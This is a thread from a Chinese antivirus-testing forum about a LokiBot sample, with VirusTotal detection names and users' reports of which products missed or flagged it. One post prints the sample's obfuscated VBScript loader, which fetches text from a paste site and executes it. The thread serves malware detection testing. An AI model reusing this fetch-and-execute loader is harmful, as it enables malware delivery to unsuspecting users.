LokiBot

显示全部楼层 · 发表于 2017-7-11 17:53:31

本帖最后由 Dolby123 于 2017-7-11 17:54 编辑

https://www.virustotal.com/en/fi ... d1740d568/analysis/

[mw_shl_code=css,true]AegisLab Troj.Script.Agent!c 20170711
Cyren VBS/Agent.LX 20170711
Kaspersky HEUR:Trojan.Script.Agent.gen 20170711
Qihoo-360 virus.vbs.crypt.c 20170711
Rising Trojan.Agent!8.B1E (cloud:E0DtfLvwGWD) 20170711
ViRobot VBS.S.Agent.601 20170711
ZoneAlarm by Check Point HEUR:Trojan.Script.Agent.gen 20170711[/mw_shl_code]

显示全部楼层 · 发表于 2017-7-11 18:22:22

[mw_shl_code=css,true]dim ameer
Set ameer = CreateObject(chrw(77) + chrw(105) + chrw(99) + chrw(114) + chrw(111) + chrw(115) + chrw(111) + chrw(102) + chrw(116) + chrw(46) + chrw(88) + chrw(109) + chrw(108) + chrw(72) + chrw(116) + chrw(116) + chrw(112))
On Error Resume Next
ameer.open chrw(71) + chrw(69) + chrw(84), chrw(104)+chrw(116)+chrw(116)+chrw(112)+chrw(115)+chrw(58)+chrw(47)+chrw(47)+chrw(112)+chrw(97)+chrw(115)+chrw(116)+chrw(101)+chrw(46)+chrw(101)+chrw(101)+chrw(47)+chrw(114)+chrw(47)+chrw(50)+chrw(57)+chrw(73)+chrw(75)+chrw(117)+chrw(47)+chrw(48), False
ameer.send
Execute ameer.responseText

[/mw_shl_code]

啥意思啊这些代码

显示全部楼层 · 发表于 2017-7-11 19:17:53

火绒扫描miss

显示全部楼层 · 发表于 2017-7-11 19:23:16

卡巴监控杀

显示全部楼层 · 发表于 2017-7-11 21:35:00

安天公有云MISS

显示全部楼层 · 发表于 2017-7-11 21:55:12

emsisoft

显示全部楼层 · 发表于 2017-7-11 22:02:27

本帖最后由 fireherman 于 2017-7-11 22:03 编辑

ericdj 发表于 2017-7-11 18:22
[mw_shl_code=css,true]dim ameer
Set ameer = CreateObject(chrw(77) + chrw(105) + chrw(99) + chrw(114 ...

ESET scan miss

这些不是VB语句么？（苦思N年前已经还给老师的东东）

dim ameer 定义变量
set ameer = xxxx 赋值（字符串）
on error 调试
ammer.open 执行指令
balabala.....

显示全部楼层 · 发表于 2017-7-11 22:04:10

fireherman 发表于 2017-7-11 22:02
ESET scan miss

这些不是VB语句么？

好吧，并不知道……VB是这样的

显示全部楼层 · 发表于 2017-7-12 16:15:20

BDTS

[病毒样本] LokiBot

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块